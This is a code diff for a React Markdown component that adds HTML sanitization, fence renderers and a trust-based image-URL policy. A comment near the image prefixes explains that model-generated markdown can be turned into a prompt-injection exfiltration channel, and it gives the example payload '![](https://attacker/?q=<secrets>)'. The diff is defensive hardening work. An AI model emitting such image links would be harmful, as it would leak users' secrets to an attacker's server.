+ return [...consumer, [sanitizer.plugin, withSingleClobberLayer(merged)]]
331
+ }
332
+
137
333
  // ── Lazy-loaded react-markdown + remark-gfm ───────────────────────────────────────────────────
138
334
 
139
335
  type RemarkPluginList = NonNullable<ReactMarkdownOptions['remarkPlugins']>
@@ -145,6 +341,7 @@ type BridgeProps = {
145
341
  readonly urlTransform: UrlTransform
146
342
  readonly remarkPlugins?: readonly unknown[]
147
343
  readonly rehypePlugins?: readonly unknown[]
344
+ readonly sanitizeSchema?: SanitizeSchemaExtension
148
345
  }
149
346
 
150
347
  function PlainTextFallback({ text }: { text: string }) {
@@ -154,28 +351,40 @@ function PlainTextFallback({ text }: { text: string }) {
154
351
  // The dynamic import chain loads react-markdown + remark-gfm only at render time. If either peer
155
352
  // is absent the import fails — `.catch` resolves to the plain-text fallback (no unhandled
156
353
  // rejection, no crash), the same optional-peer contract as `agent/streaming-markdown.tsx`.
354
+ // `loadSanitizer` swallows its OWN failure (resolving to `null`), so a missing rehype-sanitize
355
+ // degrades the sanitize pass alone rather than dropping the whole renderer to plain text.
157
356
  const LazyReactMarkdown = lazy(() =>
158
- Promise.all([import('react-markdown'), import('remark-gfm')])
159
- .then(([{ default: ReactMarkdown }, { default: remarkGfm }]) => {
357
+ Promise.all([import('react-markdown'), import('remark-gfm'), loadSanitizer()])
358
+ .then(([{ default: ReactMarkdown }, { default: remarkGfm }, sanitizer]) => {
160
359
  function Bridge({
161
360
  text,
162
361
  components,
163
362
  urlTransform,
164
363
  remarkPlugins,
165
364
  rehypePlugins,
365
+ sanitizeSchema,
166
366
  }: BridgeProps) {
167
367
  const remarkPluginsList: RemarkPluginList = [
168
368
  remarkGfm,
169
369
  ...((remarkPlugins ?? []) as RemarkPluginList),
170
370
  ]
371
+ const rehypePluginsList = useMemo(
372
+ () =>
373
+ composeRehypePlugins({
374
+ sanitizer,
375
+ ...(rehypePlugins !== undefined && { consumerPlugins: rehypePlugins }),
376
+ ...(sanitizeSchema !== undefined && { sanitizeSchema }),
377
+ }) as RehypePluginList,
378
+ // `sanitizer` is a constant of the enclosing load closure — resolved once, before this
379
+ // component exists, so it is deliberately not a dependency.
380
+ [rehypePlugins, sanitizeSchema],
381
+ )
171
382
  return (
172
383
  <ReactMarkdown
173
384
  components={components}
174
385
  urlTransform={urlTransform}
175
386
  remarkPlugins={remarkPluginsList}
176
- {...(rehypePlugins !== undefined && {
177
- rehypePlugins: rehypePlugins as RehypePluginList,
178
- })}
387
+ rehypePlugins={rehypePluginsList}
179
388
  >
180
389
  {text}
181
390
  </ReactMarkdown>
@@ -192,9 +401,11 @@ type BlockProps = {
192
401
  readonly text: string
193
402
  readonly settled: boolean
194
403
  readonly components?: MarkdownComponents
404
+ readonly fenceRenderers?: FenceRenderers
195
405
  readonly urlTransform: UrlTransform
196
406
  readonly remarkPlugins?: readonly unknown[]
197
407
  readonly rehypePlugins?: readonly unknown[]
408
+ readonly sanitizeSchema?: SanitizeSchemaExtension
198
409
  }
199
410
 
200
411
  // A fresh SlugTracker per block (not shared across blocks) — see the module JSDoc's streaming-mode
@@ -204,16 +415,18 @@ function BlockRenderer({
204
415
  text,
205
416
  settled,
206
417
  components,
418
+ fenceRenderers,
207
419
  urlTransform,
208
420
  remarkPlugins,
209
421
  rehypePlugins,
422
+ sanitizeSchema,
210
423
  }: BlockProps) {
211
424
  // `text` isn't read in the factory below — it's the reset KEY, forcing a fresh tracker per block.
212
425
  // oxlint-disable-next-line react-hooks/exhaustive-deps
213
426
  const tracker = useMemo(() => new SlugTracker(), [text])
214
427
  const componentsMap = useMemo(
215
- () => ({ ...buildMarkdownComponents(tracker, settled), ...components }),
216
- [tracker, settled, components],
428
+ () => ({ ...buildMarkdownComponents(tracker, settled, fenceRenderers), ...components }),
429
+ [tracker, settled, fenceRenderers, components],
217
430
  )
218
431
  return (
219
432
  <LazyReactMarkdown
@@ -222,6 +435,7 @@ function BlockRenderer({
222
435
  urlTransform={urlTransform}
223
436
  {...(remarkPlugins !== undefined && { remarkPlugins })}
224
437
  {...(rehypePlugins !== undefined && { rehypePlugins })}
438
+ {...(sanitizeSchema !== undefined && { sanitizeSchema })}
225
439
  />
226
440
  )
227
441
  }
@@ -230,20 +444,78 @@ function BlockRenderer({
230
444
  // this memo skip re-rendering an unchanged settled block — see the module JSDoc.
231
445
  const MemoizedBlock = memo(BlockRenderer)
232
446
 
447
+ // ── Lazy-loaded remend ─────────────────────────────────────────────────────────────────────────
448
+
449
+ type RemendFn = (text: string) => string
450
+
451
+ let remendPromise: Promise<RemendFn | null> | null = null
452
+ /** Set once the singleton resolves, so a LATER-mounted tail starts repaired instead of paying the
453
+ * one unrepaired render again. */
454
+ let resolvedRemend: RemendFn | null = null
455
+
456
+ /** Module-level singleton, same optional-peer contract as `./mermaid`'s `loadMermaidModule`. */
457
+ function loadRemend(): Promise<RemendFn | null> {
458
+ remendPromise ??= import('remend')
459
+ .then((mod) => {
460
+ resolvedRemend = mod.default
461
+ return resolvedRemend
462
+ })
463
+ .catch(() => null)
464
+ return remendPromise
465
+ }
466
+
467
+ /**
468
+ * `null` until `remend` resolves — and forever if the optional peer is absent. The tail then
469
+ * renders its RAW text: a streaming tail is re-rendered per token anyway, so the worst case is one
470
+ * unrepaired frame at the very start of the first stream, never a blank block or an error.
471
+ */
472
+ function useRemend(): RemendFn | null {
473
+ const [repair, setRepair] = useState<RemendFn | null>(() => resolvedRemend)
474
+
475
+ useEffect(() => {
476
+ if (repair !== null) return
477
+ let cancelled = false
478
+ loadRemend().then((loaded) => {
479
+ // `setRepair(loaded)` would treat the function as a state UPDATER — wrap it.
480
+ if (!cancelled && loaded !== null) setRepair(() => loaded)
481
+ return undefined
482
+ })
483
+ return () => {
484
+ cancelled = true
485
+ }
486
+ }, [repair])
487
+
488
+ return repair
489
+ }
490
+
233
491
  function StreamingTailBlock(props: Omit<BlockProps, 'settled'>) {
234
- const repaired = useMemo(() => remend(props.text), [props.text])
492
+ const repair = useRemend()
493
+ const repaired = useMemo(
494
+ () => (repair === null ? props.text : repair(props.text)),
495
+ [repair, props.text],
496
+ )
235
497
  return <BlockRenderer {...props} text={repaired} settled={false} />
236
498
  }
237
499
 
238
500
  type BodyProps = {
239
501
  readonly text: string
240
502
  readonly components?: MarkdownComponents
503
+ readonly fenceRenderers?: FenceRenderers
241
504
  readonly urlTransform: UrlTransform
242
505
  readonly remarkPlugins?: readonly unknown[]
243
506
  readonly rehypePlugins?: readonly unknown[]
507
+ readonly sanitizeSchema?: SanitizeSchemaExtension
244
508
  }
245
509
 
246
- function SettledBody({ text, components, urlTransform, remarkPlugins, rehypePlugins }: BodyProps) {
510
+ function SettledBody({
511
+ text,
512
+ components,
513
+ fenceRenderers,
514
+ urlTransform,
515
+ remarkPlugins,
516
+ rehypePlugins,
517
+ sanitizeSchema,
518
+ }: BodyProps) {
247
519
  return (
248
520
  <Suspense fallback={<PlainTextFallback text={text} />}>
249
521
  <BlockRenderer
@@ -251,8 +523,10 @@ function SettledBody({ text, components, urlTransform, remarkPlugins, rehypePlug
251
523
  settled
252
524
  urlTransform={urlTransform}
253
525
  {...(components !== undefined && { components })}
526
+ {...(fenceRenderers !== undefined && { fenceRenderers })}
254
527
  {...(remarkPlugins !== undefined && { remarkPlugins })}
255
528
  {...(rehypePlugins !== undefined && { rehypePlugins })}
529
+ {...(sanitizeSchema !== undefined && { sanitizeSchema })}
256
530
  />
257
531
  </Suspense>
258
532
  )
@@ -261,9 +535,11 @@ function SettledBody({ text, components, urlTransform, remarkPlugins, rehypePlug
261
535
  function StreamingBody({
262
536
  text,
263
537
  components,
538
+ fenceRenderers,
264
539
  urlTransform,
265
540
  remarkPlugins,
266
541
  rehypePlugins,
542
+ sanitizeSchema,
267
543
  }: BodyProps) {
268
544
  const blocks = useMemo(() => blockSplit(text), [text])
269
545
  const lastIndex = blocks.length - 1
@@ -275,8 +551,10 @@ function StreamingBody({
275
551
  text: block,
276
552
  urlTransform,
277
553
  ...(components !== undefined && { components }),
554
+ ...(fenceRenderers !== undefined && { fenceRenderers }),
278
555
  ...(remarkPlugins !== undefined && { remarkPlugins }),
279
556
  ...(rehypePlugins !== undefined && { rehypePlugins }),
557
+ ...(sanitizeSchema !== undefined && { sanitizeSchema }),
280
558
  }
281
559
  // Block positions are stable during a stream (only the tail is ever replaced in place),
282
560
  // so the array index is a safe, stable `key` here.
@@ -293,20 +571,60 @@ function StreamingBody({
293
571
  // ── Markdown ───────────────────────────────────────────────────────────────────────────────────
294
572
 
295
573
  const DEFAULT_LINK_PREFIXES: readonly string[] = ['https://', 'mailto:', '#', '/']
296
- const DEFAULT_IMAGE_PREFIXES: readonly string[] = ['https://', '/']
297
- /* Streamed (model-generated) markdown: images auto-fetch, so an open `https://` default is a
574
+ const TRUSTED_IMAGE_PREFIXES: readonly string[] = ['https://', '/']
575
+ /* Untrusted (model-generated) markdown: images auto-fetch, so an open `https://` default is a
298
576
  * prompt-injection exfiltration channel (`![](https://attacker/?q=<secrets>)`). Same-origin only
299
577
  * unless the consumer opts specific origins in. Links stay clickable — navigation is user-initiated. */
300
- const STREAMING_IMAGE_PREFIXES: readonly string[] = ['/']
578
+ const UNTRUSTED_IMAGE_PREFIXES: readonly string[] = ['/']
579
+
580
+ const IMAGE_PREFIXES_BY_TRUST: Readonly<Record<MarkdownContentTrust, readonly string[]>> = {
581
+ trusted: TRUSTED_IMAGE_PREFIXES,
582
+ untrusted: UNTRUSTED_IMAGE_PREFIXES,
583
+ }
584
+
585
+ /**
586
+ * Restricts the lookup to OWN keys of `IMAGE_PREFIXES_BY_TRUST` — same guarding shape as
587
+ * `./fence-block`'s `lookupFenceRenderer` for the model-controlled fence-language registry.
588
+ * `contentTrust` is typed `MarkdownContentTrust`, but that is a compile-time promise only: a plain-
589
+ * JS consumer, or an `as` cast past the type, can hand this ANY string, and `IMAGE_PREFIXES_BY_TRUST`
590
+ * is a plain object literal — indexing it with an unchecked key resolves `Object.prototype` members.
591
+ *
592
+ * EXECUTED against this build, neither bad input "fails closed" on its own:
593
+ * - an unrecognised key (`'nonsense'`) resolves `allowedImagePrefixes` to `undefined`;
594
+ * - a prototype key (`'toString'`, `'constructor'`, …) resolves to a FUNCTION, not a string array.
595
+ * Both then reach `createUrlTransform`'s `isAllowedUrl`, which unconditionally calls
596
+ * `prefixes.some(...)` — `undefined.some` and `Function.prototype.some` are both not a function, so
597
+ * both inputs CRASH the render with an uncaught `TypeError` the instant an `img` is transformed
598
+ * (nothing between `Markdown` and react-markdown's `img` visit catches it). That is not "degrades to
599
+ * plain text with the image dropped" — it takes the whole message down, which is worse than an
600
+ * incidental fail-closed and not something to build on regardless. Fail closed on purpose: an
601
+ * unrecognised or non-own-property `contentTrust` gets the MOST RESTRICTIVE policy (same-origin
602
+ * only), never `undefined` and never a permissive default.
603
+ */
604
+ function isKnownContentTrust(value: string): value is MarkdownContentTrust {
605
+ return Object.hasOwn(IMAGE_PREFIXES_BY_TRUST, value)
606
+ }
607
+
608
+ function imagePrefixesForTrust(contentTrust: string): readonly string[] {
609
+ return isKnownContentTrust(contentTrust)
610
+ ? IMAGE_PREFIXES_BY_TRUST[contentTrust]
611
+ : UNTRUSTED_IMAGE_PREFIXES
612
+ }
301
613
 
302
614
  export function Markdown({
303
615
  children,
304
616
  density = 'article',
305
617
  measure,
306
618
  streaming = false,
619
+ // `streaming` as the trust DEFAULT is backward compatibility only (pre-1.12 the image policy was
620
+ // read straight off `streaming`, so dropping it would silently widen every existing streaming
621
+ // call site). It is a floor, never the policy — see the prop's JSDoc.
622
+ contentTrust = streaming ? 'untrusted' : 'trusted',
307
623
  components,
624
+ fenceRenderers,
625
+ sanitizeSchema,
308
626
  allowedLinkPrefixes = DEFAULT_LINK_PREFIXES,
309
- allowedImagePrefixes = streaming ? STREAMING_IMAGE_PREFIXES : DEFAULT_IMAGE_PREFIXES,
627
+ allowedImagePrefixes = imagePrefixesForTrust(contentTrust),
310
628
  defaultOrigin,
311
629
  remarkPlugins,
312
630
  rehypePlugins,
@@ -329,8 +647,10 @@ export function Markdown({
329
647
  text: children,
330
648
  urlTransform,
331
649
  ...(components !== undefined && { components }),
650
+ ...(fenceRenderers !== undefined && { fenceRenderers }),
332
651
  ...(remarkPlugins !== undefined && { remarkPlugins }),
333
652
  ...(rehypePlugins !== undefined && { rehypePlugins }),
653
+ ...(sanitizeSchema !== undefined && { sanitizeSchema }),
334
654
  }
335
655
 
336
656
  return (